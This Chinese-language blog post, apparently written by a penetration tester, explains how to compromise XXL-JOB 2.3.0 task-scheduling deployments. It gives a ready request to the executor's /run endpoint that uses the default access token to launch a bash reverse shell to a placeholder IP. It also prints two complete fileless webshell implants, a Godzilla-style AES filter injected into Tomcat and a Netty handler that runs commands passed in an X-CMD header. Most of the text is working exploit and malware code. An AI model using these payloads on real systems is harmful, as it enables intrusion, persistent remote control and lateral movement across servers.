前言
XXL-JOB是一个分布式任务调度平台,从代码结构来看分为调度中心调度(默认端口8080)、执行器(默认端口9999)、xxl-job-core(公共依赖),三部分。
暴露在外网的一般是调度中心,执行器一般都开在内网或者单机仅限127.0.0.1访问的情况。而xxl-job必须路径正确才能访问到后台,这个路径可以在application.properties文件里面修改
常见路径:
1 2 3 4
| /toLogin /xxl-job-admin/toLogin /xxljob/toLogin /jobManage/toLogin
|
在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。
同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。
搭建的话可以去官方文档看 https://www.xuxueli.com/xxl-job/
我这里的版本是 https://github.com/xuxueli/xxl-job/releases/tag/2.3.0
参考连接
XXL-JOB Executor 内存马注入
xxl-job利用研究
xxl-job-executor注入filter内存马
XXL-job任务调度平台若干漏洞研究
https://xz.aliyun.com/news/17740
https://forum.butian.net/share/2593
https://mp.weixin.qq.com/s/0WRuRLaoYQChFShGsXcVpQ
流程分析
发现是xxl-job可以访问/xxl-job-admin/
尝试弱口令登录执行任务,也可以尝试未授权(影响版本2.2.0 <= XXL-JOB <= 2.3.0)或者默认accessToken 打 Executor 执行器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| POST http://192.168.112.138:9999/run HTTP/1.1 Host: 192.168.112.138:9999 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: application/json XXL-JOB-ACCESS-TOKEN: default_token Content-Length: 386
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1745646241, "glueType": "GLUE_SHELL", "glueSource": "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1", "glueUpdatetime": 1745646241, "broadcastIndex": 0, "broadcastTotal": 0 }
|

在resources/application.properties
文件下可以看到相关配置,并且有两处用法,这里我们主要看与执行器相关的逻辑

进入了com.xxl.job.core.executor.XxlJobExecutor,这个应该是XxlJobExecutor的执行器核心类。其中有个注释,初始化执行器,也就是initEmbedServer方法,这个方法中调用了EmbedServer.start

观察这个类我们发现启动了一个Netty 服务器,对于accessToken的处理方式是调用EmbedHttpServerHandler方法,这是一个构造方法,相当于把获取到的accessToken的值,存起来。

同时这个类继承了SimpleChannelInboundHandler <FullHttpRequest>,也就是说所有的http请求,会自动调用channelRead0方法,这个方法中就是会把XXL-JOB-ACCESS-TOKEN的值,与请求头输入的值做对比,然后下面会调用process方法

这个方法中主要定义了请求方法和路径

当我们访问/run路径的时候,最终会返回run方法的具体实现

这里面我们关注到GlueTypeEnum这里面定义了执行器的类型,我们看到除了可以执行shell,还可以执行java代码,那这就好办了,面对不出网的情况可以尝试执行内存马。

内存马
在配置文件中有server.port和executor.port两种端口,executor.port的后端是一个netty服务可以尝试打内存马,浏览器访问8081端口返回 whitelable error page,这是一个tomcat,也可以尝试打tomcat的内存马。
Tomcat哥斯拉马
具体构造可以查看上面的参考文章,还有之前写的这个tomcat内存马的文章,https://sp4rks.xyz/2024/08/06/JAVA%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%86%85%E5%AD%98%E9%A9%AC/
这里是只使用了AES加密,但是也有很多踩坑,AES加密方法x()和defineClass()的参数类型如果是byte[] 数组的话groovy会报错,得改成Object类型。然后把这个类用python的json.dumps转成json格式传过去就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164
| import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import com.xxl.job.core.context.XxlJobHelper; import com.xxl.job.core.handler.IJobHandler;
import java.io.*; import java.lang.reflect.*; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map;
public class DemoGlueJobHandler extends IJobHandler {
private static final String KEY = "3c6e0b8a9c15224a"; private static Class<?> payloadClass;
@Override public void execute() throws Exception { Object obj = null; String port = ""; String filterName = "xxl-godzilla-filter";
Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse resp = (HttpServletResponse) servletResponse;
try { InputStream inputStream = req.getInputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[4096]; int len; while ((len = inputStream.read(buffer)) > 0) { bos.write(buffer, 0, len); } byte[] data = bos.toByteArray();
data = x(data,false);
byte[] result; if (payloadClass == null) { payloadClass = defineClass(data); result = new byte[0]; } else { Object payloadObj = payloadClass.newInstance(); ByteArrayOutputStream out = new ByteArrayOutputStream(); payloadObj.equals(out); payloadObj.equals(data); payloadObj.toString(); result = out.toByteArray(); } resp.getOutputStream().write(x(result,true)); resp.getOutputStream().flush(); return; } catch (Exception ignored) {} filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {} };
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName());
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name());
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true);
Thread currentThread = Thread.currentThread(); Field groupField = Thread.class.getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup) groupField.get(currentThread);
Field threadsField = ThreadGroup.class.getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[]) threadsField.get(group);
for (Thread thread : threads) { if (thread == null) continue; String threadName = thread.getName();
if (threadName.contains("container")) { obj = getField(thread, "this$0"); } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) { port = threadName.substring(9, threadName.length() - 13); } }
obj = getField(obj, "tomcat"); obj = getField(obj, "server"); Object[] services = (Object[]) getField(obj, "services");
for (Object service : services) { obj = getField(service, "engine"); if (obj == null) continue;
HashMap children = (HashMap) getField(obj, "children"); obj = children.get("localhost"); children = (HashMap) getField(obj, "children");
StandardContext standardContext = (StandardContext) children.get(""); standardContext.addFilterDef(filterDef);
Map filterConfigs = (Map) getField(standardContext, "filterConfigs"); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(filterName, filterConfig);
standardContext.addFilterMapBefore(filterMap); XxlJobHelper.log("Godzilla memshell inject success! port: " + port); } }
private Object getField(Object obj, String fieldName) throws Exception { try{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); }catch (Exception e){ Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); }
}
private byte[] x(Object s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(KEY.getBytes(), "AES")); return c.doFinal((byte[]) s); } catch(Exception e) { return null; } } private Class defineClass(Object classbytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] bytes = (byte[]) classbytes; return (Class<?>) method.invoke(urlClassLoader, bytes, 0, bytes.length); } }
|


Netty内存马
xxl-job 2.3.0 api有些变化,这是2.3.0 的内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149
| import io.netty.util.CharsetUtil; import com.xxl.job.core.biz.impl.ExecutorBizImpl; import com.xxl.job.core.server.EmbedServer; import io.netty.buffer.Unpooled; import io.netty.channel.*; import io.netty.channel.socket.SocketChannel; import io.netty.handler.codec.http.*; import io.netty.handler.timeout.IdleStateHandler;
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.HashSet; import java.util.Scanner; import java.util.concurrent.*;
import com.xxl.job.core.context.XxlJobHelper; import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler { public static class NettyThreadHandler extends ChannelDuplexHandler{ @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { if(((HttpRequest)msg).uri().contains("shell")) { HttpRequest httpRequest = (HttpRequest)msg; if(httpRequest.headers().contains("X-CMD")) { String cmd = httpRequest.headers().get("X-CMD"); ArrayList<String> cmdList = new ArrayList<>(); String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { cmdList.add("cmd.exe"); cmdList.add("/c"); } else { cmdList.add("/bin/bash"); cmdList.add("-c"); } cmdList.add(cmd); String[] cmds = cmdList.toArray(new String[0]);
InputStream input = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(input).useDelimiter("\\a"); String execResult = s.hasNext() ? s.next() : ""; send(ctx, execResult, HttpResponseStatus.OK); }else { ctx.fireChannelRead(msg); } } else { ctx.fireChannelRead(msg); } }
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) { FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8)); response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8"); ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); } }
public void execute() throws Exception{ try{ ThreadGroup group = Thread.currentThread().getThreadGroup(); Field threads = group.getClass().getDeclaredField("threads"); threads.setAccessible(true); Thread[] allThreads = (Thread[]) threads.get(group); for (Thread thread : allThreads) { if (thread != null && thread.getName().contains("nioEventLoopGroup")) { try { Object target;
try { target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor"); } catch (Exception e) { continue; }
if (target.getClass().getName().endsWith("NioEventLoop")) { XxlJobHelper.log("NioEventLoop find"); HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); if (!set.isEmpty()) { Object keys = set.toArray()[0]; Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() { @Override public void initChannel(SocketChannel channel) throws Exception { channel.pipeline() .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) .addLast(new HttpServerCodec()) .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) .addLast(new NettyThreadHandler()) .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor( 0, 200, 60L, TimeUnit.SECONDS, new LinkedBlockingQueue<Runnable>(2000), new ThreadFactory() { @Override public Thread newThread(Runnable r) { return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()); } }, new RejectedExecutionHandler() { @Override public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) { throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!"); } }))); } }); XxlJobHelper.log("success!"); break; } } } catch (Exception e){ XxlJobHelper.log(e.toString()); } } } }catch (Exception e){ XxlJobHelper.log(e.toString()); } }
public Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null){ field = getField(clazz.getSuperclass(), fieldName); } } return field; }
public Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); }
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } }
|
